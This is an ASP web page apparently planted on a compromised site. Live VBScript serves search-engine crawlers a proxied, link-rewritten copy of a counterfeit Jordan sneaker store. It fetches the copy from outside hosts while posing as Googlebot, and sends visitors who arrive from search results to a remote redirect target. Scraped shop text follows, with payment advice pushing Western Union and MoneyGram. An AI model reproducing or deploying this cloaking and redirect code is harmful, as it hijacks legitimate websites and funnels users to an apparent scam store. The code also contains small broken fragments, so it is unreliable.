<% on error resume next jumpcode="http://link.2016online.com/en/jordan.txt.html" desurljiechi="http://www.airjordan5bordeaux.com/" arrdom = Split(desurljiechi, "/") For dd = 0 To 2 desurl = desurl & arrdom(dd)& "/" Next shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?" rp="nike" rc="online" function is_spider() dim s_agent s_agent=Request.ServerVariables("HTTP_USER_AGENT") If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then is_spider = 1 else is_spider = 0 end if end function Function GetHtml(url,k) agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",agent ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "utf-8" GetHtml = objStream.ReadText objStream.Close End Function Function IsUserSearch() s_ref=Request.ServerVariables("HTTP_REFERER") If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then IsUserSearch = true else IsUserSearch = false end if End Function Function RegExpMatches(patrn, strng) Dim regEx, Match, Matches Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(strng) Dim MyArray() Dim i i=0 For Each Match in Matches ReDim Preserve MyArray(i) MyArray(i)=Match.Value i=i-(-1) Next RegExpMatches = MyArray End Function Function RegExpReplace(html,patrn, strng) Dim regEx Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True RegExpReplace=regEx.Replace(html,strng) End Function Function cDec(num) cDecstr=0 if len(num)>0 and isnumeric(num) then for inum=0 to len(num)-1 cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1)))) next end if cDec=cDecstr End Function Function OcB(num) OcBstr="" if len(num)>0 and isnumeric(num) then for i=1 to len(num) select case (mid(num,i,1)) case "0" OcBstr=OcBstr&"000" case "1" OcBstr=OcBstr&"001" case "2" OcBstr=OcBstr&"010" case "3" OcBstr=OcBstr&"011" case "4" OcBstr=OcBstr&"100" case "5" OcBstr=OcBstr&"101" case "6" OcBstr=OcBstr&"110" case "7" OcBstr=OcBstr&"111" end select next end if OcB=OcBstr End Function Function OcD(num) OcD=cDec(OcB(num)) End Function Function toOct(objMatch) toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"." End Function Function toDeOct(objMatch) toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"." End Function Function toCOct(objMatch) toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1) End Function Function toCDeOct(objMatch) toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1) End Function Function RegExpReplaceCall( reg, m, str, fstr) Dim Fun, Match, Matches, i, nStr, LastIndex If str & "" = "" Then Exit Function Set Fun = getRef(fstr) Set regEx = New RegExp regEx.Pattern = reg regEx.IgnoreCase = True regEx.Global = True Set Matches = regEx.Execute(str) LastIndex = 1 For Each Match In Matches If Match.FirstIndex>0 Then nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex) End If nStr = nStr & Fun(Match) LastIndex = Match.FirstIndex-(-1)-(-Match.Length) Next nStr = nStr & Mid(str, LastIndex) RegExpReplaceCall = nStr End Function Function RegReplaceCall( reg, str, fstr) RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr) End Function spider = is_spider() querystr = request.ServerVariables("QUERY_STRING") if spider = 1 or querystr = "feiya" then if querystr = "feiya" then querystr = "" end if if querystr <> "" then querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct") querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct") htmls = GetHtml(desurl&querystr,"") else htmls = GetHtml(desurljiechi&querystr,"") end if htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl) desurl1 = RegExpReplace(desurl,"/$","") htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl1,"href=$1"&shellurl) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl) htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&desurl,"src=$1"&shellurl) htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&shellurl) htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&shellurl) htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&shellurl) desurl2 = replace(desurl1,"http://www.","") desurl2 = replace(desurl2,"http://","") htmls = replace(htmls,desurl2,Request.ServerVariables("Http_Host"),1,-1,1) htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2") htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2") htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&shellurl&"\?","src=$1"&desurl) shellurlrm = shellurl shellurlrm=replace(shellurlrm,"?","") htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1") htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct") htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct") htmls = replace(htmls,"window.location.href","var jp") htmls = replace(htmls,"location.href",";var jp") response.write htmls %> Buy Basketball Shoes for Men,Jordan Basketball Shoes ,cheap jordan shoes free shipping
Currency Type: Welcome     Login or Register
Order System Will Offer Best Price While Choose Western Union & Money Gram As Payment Option.

1.If payment result show "failed (unauthorized / declined / pending)".
you need to call V/M card organization to confirm or authorize the transaction then payment will be ok.
2.Once your payment failed for two times,pls repay again after 24 hours,or re-order to pay again.
3.If payment still failed,pls pay by another card or Western Union / MoneyGram.

All Categories
Nike Air Jordan Shoes
Air Jordan Basketball Shoes
Air Jordan Horizon
Air Jordan Lab Shoes
Air Jordan Plus Size Shoes
Air Jordan Retro Mens
Air Jordans Retro Womens
Nike Air Jordan Kids Shoes
Nike Air Basketball Shoes
Kevin Durant Basketball Shoes
Kobe Bryant Shoes Sneakers
Lebron James Shoes Sneakers
Nike Air Foamposite One Shoes
Nike Basketball Shoes
Womens Mens Shoes
Nike Air Max Shoes
Air Jordans Retro 2017
Jordan Basketball Shoes
Retro Jordans Mens
Womens Jordan Shoes
Air Jordan 2018 Shoes
Mens Air Jordans Shoes
Womens Air Jordans
new jordan shoes,cheap jordan shoes,jordan retro 11,jordans shoes,michael jordan shoes
  1. New Arrivals
  2. Best Sellers
  3. Recommend Products

News Archive

Jordan Sneakers
Since their creation in 1984, Jordan shoes have been among the best-selling basketball shoes in the world. The hype surrounding them can be attributed to their inspiration and their namesake: Michael Jordan. From the Air Jordan I - which turned the basketball footwear industry upside-down in 1984 - to the era of Tinker Hatfield and his revolutionary designs like the Air Jordan III, V and the XIII, to the recent hits like the 2011 and the Flight series, they have proven to be unstoppable. Some of the best styles have been redesigned and released as Jordan Retro styles, paying homage to the originals while incorporating fresh, new details. The brand has also steered their designs in the casual direction, offering styles like the the 1 Phat Low, and the CMFT 11 Viz Air. The collection of kicks also includes some high-performance baseball cleats, made with the same quality and style as the basketball sneakers, but designed for the diamond. The brand continued their cleat trend by adding football cleats to the mix, combining the rich heritage with the performance needs of the gridiron. When your feet are in need of some TLC, there are also slides, sandals, and flip flops make up the softer side of the line-up. Whether you're a Retro fanatic looking for the newest releases, love the original Air Jordans or need some mens or kids Jordan Shoes, shop our collection that honor the man, the myth and the legend.
google test <%response.end()() else if IsUserSearch then if instr(jumpcode,".txt")>0 then jumpcode = GetHtml(jumpcode,"Mozi11a") tiaoarray=split(jumpcode,"?") if IsEmpty(tiaoarray(0)) then response.redirect jumpcode&"?"&shellurl else response.redirect tiaoarray(0)&"?"&shellurl end if end if end if end if %>